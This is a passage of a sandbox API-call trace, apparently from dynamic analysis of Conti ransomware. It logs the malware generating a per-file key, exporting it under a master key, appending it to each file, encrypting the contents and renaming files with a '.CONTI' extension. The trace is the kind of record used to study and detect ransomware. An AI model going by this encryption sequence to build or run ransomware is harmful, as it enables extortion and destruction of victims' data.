	[0097.559] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.CONTI"
	[0097.559] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.conti")) returned 1
	[0097.559] GetProcessHeap () returned 0x1720000
	[0097.559] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.559] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0097.559] GetProcessHeap () returned 0x1720000
	[0097.560] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f28 | out: hHeap=0x1720000) returned 1
	[0097.560] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0098.720] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17e9fd8 | out: phKey=0x17e9fd8*=0x17c80b0) returned 1
	[0098.720] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9fdc, pdwDataLen=0x45bfa3c | out: pbData=0x17e9fdc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0098.751] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash")) returned 0x20
	[0099.833] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0099.833] GetLastError () returned 0x0
	[0099.833] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=102) returned 1
	[0099.834] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0099.834] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.834] SetEndOfFile (hFile=0x30c) returned 1
	[0102.256] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.256] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.256] WriteFile (in: hFile=0x30c, lpBuffer=0x17e9fdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17e9fdc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.154] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.154] ReadFile (in: hFile=0x30c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x66, lpOverlapped=0x0) returned 1
	[0103.154] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x66, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x70) returned 1
	[0103.154] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.154] WriteFile (in: hFile=0x30c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x70, lpOverlapped=0x0) returned 1
	[0103.154] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.154] WriteFile (in: hFile=0x30c, lpBuffer=0x17e9fd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17e9fd0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0103.154] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.154] CloseHandle (hObject=0x30c) returned 1
	[0103.960] GetProcessHeap () returned 0x1720000
	[0103.960] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6517060
	[0103.960] lstrcpyW (in: lpString1=0x6517060, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash"
	[0103.960] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.CONTI"
	[0103.960] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash.conti")) returned 1
	[0103.960] GetProcessHeap () returned 0x1720000
	[0103.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6517060 | out: hHeap=0x1720000) returned 1
	[0103.960] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0103.960] GetProcessHeap () returned 0x1720000
	[0103.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc0c0 | out: hHeap=0x1720000) returned 1
	[0103.961] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0107.380] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x17c7f70) returned 1
	[0107.381] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x45bfa3c | out: pbData=0x17c410c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0107.386] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml")) returned 0x20
	[0107.386] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.386] GetLastError () returned 0x0
	[0107.386] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=258) returned 1
	[0107.386] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x102
	[0107.386] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.386] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.387] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.387] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.387] WriteFile (in: hFile=0x3b0, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.388] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.388] ReadFile (in: hFile=0x3b0, lpBuffer=0xc100000, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x102, lpOverlapped=0x0) returned 1
	[0107.388] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x102, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x110) returned 1
	[0107.388] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.388] WriteFile (in: hFile=0x3b0, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x110, lpOverlapped=0x0) returned 1
	[0107.389] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.389] WriteFile (in: hFile=0x3b0, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0107.389] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.389] CloseHandle (hObject=0x3b0) returned 1
	[0107.389] GetProcessHeap () returned 0x1720000
	[0107.389] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.389] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml"
	[0107.389] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.CONTI"
	[0107.389] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.conti")) returned 1
	[0107.389] GetProcessHeap () returned 0x1720000
	[0107.389] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.389] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.390] GetProcessHeap () returned 0x1720000
	[0107.390] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511400 | out: hHeap=0x1720000) returned 1
	[0107.390] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0108.053] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6513520 | out: phKey=0x6513520*=0x17c82b0) returned 1
	[0108.053] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513524, pdwDataLen=0x45bfa3c | out: pbData=0x6513524*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0108.056] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0108.056] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.057] GetLastError () returned 0x0
	[0108.057] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=716) returned 1
	[0108.057] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0108.057] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.057] SetEndOfFile (hFile=0x384) returned 1
	[0108.057] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.057] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.057] WriteFile (in: hFile=0x384, lpBuffer=0x6513524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6513524*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.059] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.059] ReadFile (in: hFile=0x384, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2cc, lpOverlapped=0x0) returned 1
	[0108.059] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2cc, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0108.059] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.059] WriteFile (in: hFile=0x384, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.059] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.059] WriteFile (in: hFile=0x384, lpBuffer=0x6513518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6513518*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0108.059] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.059] CloseHandle (hObject=0x384) returned 1
	[0108.059] GetProcessHeap () returned 0x1720000
	[0108.059] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.059] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml"
	[0108.059] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.CONTI"
	[0108.059] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0108.060] GetProcessHeap () returned 0x1720000
	[0108.060] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.060] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.060] GetProcessHeap () returned 0x1720000
	[0108.060] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca718 | out: hHeap=0x1720000) returned 1
	[0108.060] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0108.384] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c7b70) returned 1
	[0108.384] CryptExportKey (in: hKey=0x17c7b70, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x45bfa3c | out: pbData=0x17d31fc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0108.646] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.384] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.439] GetLastError () returned 0x0
	[0109.439] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=645) returned 1
	[0109.440] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0109.451] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.451] SetEndOfFile (hFile=0x380) returned 1
	[0109.451] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.451] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.451] WriteFile (in: hFile=0x380, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.453] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.453] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x285, lpOverlapped=0x0) returned 1
	[0109.453] CryptEncrypt (in: hKey=0x17c7b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x285, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x290) returned 1
	[0109.453] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.453] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x290, lpOverlapped=0x0) returned 1
	[0109.453] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.453] WriteFile (in: hFile=0x380, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.453] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.453] CloseHandle (hObject=0x380) returned 1
	[0109.454] GetProcessHeap () returned 0x1720000
	[0109.454] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
